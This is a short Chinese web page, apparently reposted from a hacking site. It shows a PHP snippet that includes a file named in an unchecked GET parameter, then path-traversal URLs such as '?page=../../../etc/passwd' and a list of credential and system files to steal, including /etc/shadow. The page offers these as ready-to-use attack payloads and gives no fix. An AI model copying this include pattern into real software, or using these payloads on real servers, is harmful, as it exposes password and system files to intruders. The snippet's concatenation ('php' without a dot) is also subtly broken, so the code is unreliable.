首页 > 开发 > PHP > 正文

php 伪造本地文件包含漏洞的代码

2024-05-04 22:06:01
字体:
来源:转载
供稿:网友
代码:
代码如下:
<?php
$page=$_GET['page'];
include($page.'php');
?>

你可以这样使用
http://www.xxx.com/index.php?page=../etc/passwd
http://www.xxx.com/index.php?page=../../../etc/passwd
http://www.xxx.com/index.php?page=..../../etc/passwd

获取更多数据:
etc/profile
etc/services
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default

来自hackteach
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表